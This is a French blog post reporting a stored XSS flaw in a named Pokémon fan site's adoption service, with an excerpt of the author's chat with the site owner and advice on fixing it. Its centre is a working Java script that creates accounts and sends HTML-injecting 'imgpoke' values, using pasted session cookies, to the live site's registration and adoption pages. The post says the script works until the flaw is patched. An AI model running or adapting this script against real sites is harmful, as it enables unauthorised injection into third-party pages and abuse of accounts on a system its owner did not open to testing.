Tag Archives: faille

http://pokemon-france.fr.nf :: xss inside

Hum, pour ceux qui jouent à pomon et qui ne connaitraient pas ce site amateur (qui au passage propose des téléchargements illégaux… pourquoi est-ce que je précise >< >> le téléchargement illégal), ils proposent un service d’adoption (en bêta encore heureux vu le soucis qui suit – si ce n’est que ca :p )

Bien quand vous vous inscrivez sur le service d’élevage – omg pas lié avec celui du fofo 😡 >> usine à gaz inside²- vous choisissez un Pokémon de départ et il se trouve en première position.

Puis vous pouvez choisir 5 pokémon ensuite (6 pokémon sur soi en fait) par mi une liste….

….

Le hic? et bien le code de cet élevage n’est absolument pas un exemple de choses à faire :s

Pourquoi?
Et bien, tout d’abord, les values du select sont en fait une partie contenant image/{Pokemon}.png, bref vous l’aurez compris, directement le code html pour un (au moins), ce qui laisse supposer que le système est assez lourd pour la base de données : champ varchar(n) de x octets alors qu’un int serait bien plus lèger – ensuite potentiellement (et c’est le cas), hum code de ce type, html dans le values et bien pourquoi ne pas tester voir s’il y a du xss?

Qu’à cela ne tienne, en avant

Après quelques lignes de codes, des modifications pour la publication, voila un code java permettant de créer un compte, et d’y ajouter des Pokémon

(ceci marchera jusqu’à ce que le créateur corrige cela, sinon juste pour vous, des morceaux de la conversation (vous l’aurez compris, binboum est l’auteur :) :

» ME!! – 22-10-13:40 — y a pas grand chose de mal, surtout qu’il est simple de corriger ces failles, d’effacer les comptes (assez lolant certains d’ailleurs mais je m’égare) et ^^’ – il vaut mieux que ce soit moi que potentiellement d’autres qui plus est. M’enfin… lorsque binboum jugera qu’il a besoin de certains conseils ou qu’il applique au moins la limite ca sera un grand pas vers un truc plus sécurisé mais pas plus performant
» ME!! – 22-10-13:33 — Mais pourquoi t’a fais ça,pokasmax ?
» ME!! – 22-10-13:32 — c’est en gros, des tits soucis bénins (mais pouvant être problématiques dans certains cas) au niveau de la gestion du service côté serveur (un peu l’organisation aussi mais secondaire)
» mewtwo45 – 22-10-13:23 — Je ne compriens rien,mais ABSOLUMENT rien à ce que vous dites,pour moi,c’est du chinois^^
» ME!! – 22-10-13:20 — (si tu veux le code que j’ai utilisé, je le mets sur mon site – java inside par contre)
» ME!! – 22-10-13:17 — sinon (encore une fois) tu montres que tu refuses les remarques mêmes si elles sont constructives (du jamais vu, mais bon fallait bien que je tombe sur une personne comme ca dans ma vie 😡 ) après ban ip si tu veux, tu loupes pas mal de choses que j’aurais pu te montrer si tu le voulais
» ME!! – 22-10-13:13 — ba j’ai indiqué qu’il y avait la faille, un strip tag (ou un simple htmlentities) suffit largement ensuite des values d’option de ce type hum pas terrible, lourd pour la bdd ensuite (pourquoi gérer des varchar – alors que des références vers une table contenant les listings permis suffit? si tu veux que je t’explique tout ca pas de soucis
» binboum – 22-10-13:10 — carmais je sens que son ip va bizntot être bannie si il continue
» binboum – 22-10-13:10 — enfaitre y c’est servi des get pour faire des injection
» binboum – 22-10-13:09 — xss c’est une faille ^^

(au passage, quelqu’un pour lui expliquer que bloquer une ip ne suffit pas? si vous avez suivi d’autres de mes articles vous comprendrez de quoi je parle (au moins sur un côté) )

Trêves de mots, le code? unexecutable? ici


import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;

public class Test {
/**
* Constructeur paramétré - simple
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
try {
// Construct data
String data = null;
URL url = null;
boolean sortie = false;
System.out.println(args.length);
if (args.length == 5 && args[0].contains("-inscription")) {
data = URLEncoder.encode("pseudo", "UTF-8") + "="
+ URLEncoder.encode(args[1], "UTF-8");
data += "&" + URLEncoder.encode("motdepasse", "UTF-8") + "="
+ URLEncoder.encode(args[2], "UTF-8");
data += "&" + URLEncoder.encode("courriel", "UTF-8") + "="
+ URLEncoder.encode(args[3], "UTF-8");
// exemple pour args[4] : "images/Dracaufeu.png"
// en sachant qu'il est possible de mettre du html - attention
// il utilise un varchar limité, donc pas de trop trop longs
// codes ^^
// exemple de code possible si vous injectez du code (vilains
// rho :p )
// args[4] =
// "images/Dracaufeu.png\" />" width="80" etc...
// et maintenant on a
// bref le code est bien
// fermé
data += "&" + URLEncoder.encode("imgpoke", "UTF-8") + "="
+ URLEncoder.encode(args[4], "UTF-8");
url = new URL(
"http://pokemon-france.fr.nf/visite/inscription2.php");
} else if (args.length == 2) {
data = "&" + URLEncoder.encode("place", "UTF-8") + "="
+ URLEncoder.encode(args[0], "UTF-8");
data += "&" + URLEncoder.encode("imgpoke", "UTF-8") + "="
+ URLEncoder.encode(args[1], "UTF-8");
url = new URL("http://pokemon-france.fr.nf/visite/adopter2.php");
} else
sortie = true;

if (!sortie) {
System.out.println("Et hop chargement....");
// on envoie les données
URLConnection conn = url.openConnection();
/* on initiliase les cookies
* pour plsu d'infos mozilla > options et allez récupérez l'ensemble de
* vos cookies du site http://pokemon-france.fr.nf
*/
conn.setRequestProperty("Cookie",
"sid=---;mybbuser=---;loginattempts=1;mybb[lastactive]=---;mybb[lastvisit]=---;PHPSESSID=---;");
conn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(conn
.getOutputStream());
wr.write(data);
wr.flush();

// on obtient la réponse
BufferedReader rd = new BufferedReader(new InputStreamReader(
conn.getInputStream()));
String line;
while ((line = rd.readLine()) != null) {
// pour le fun on affiche
System.out.println(line);
}
wr.close();
rd.close();
}
} catch (Exception e) {
}

}

}

Maintenant passons à une partie plus technique que du code, c’est-à-dire comment aider notre programmeur a corriger.

Des idées? effectivement, empêcher le code html d’être directement injecté… Oui, pourquoi pas protèger aussi pour avoir uniquement les images voulues…. et effectivement, certainement revoir un peu la partie base de données.

Donc voici quelques “tips” (mais la doc php est là 😉 )
Empêcher du html : on a le strip tags, et htmlentities
Utiliser uniquement les images voulues? pourquoi pas un array d’image et les values des select auraient les id – ca permettrait comme ca que chaque pages permettant d’avoir un pomon seraient “unique”, ainsi les starters qu’au début et les autres là ou on veut les avoir ou non.

côté bdd?
Vu le code, on peut supposer qu’il utilise (extrapolation):
Membre(id_membre,pseudo,mdp,mail,…)
Pokemon(id_pokemon,image_pokemon,…id_membre)
– et ce dans le cas où le système est moyennement bien codé –
dans le pire des cas, notre webaster aura utilisé une seule table avec au moins 6*X champs tel que X est le nombre de champs pour un pokémon.

Une utilisation un peu plus propre?
Membre(id_membre,pseudo,mdp,mail,…)
Pokemon(id_pokemon,image_pokemon,…)
Liaison(id_membre,id_pokemon,{infos du pokemon du membre})

Ainsi les infos d’un pokémon d’un dresseur seraient stockées dans liaison et plus pokémon, et pokémon ne serait que le squelette du comportement global d’un pokémon défini.

*Les champs soulignés sont les clés des tables

plus d’infos? vous pouvez me mailer ou poser des commentaires.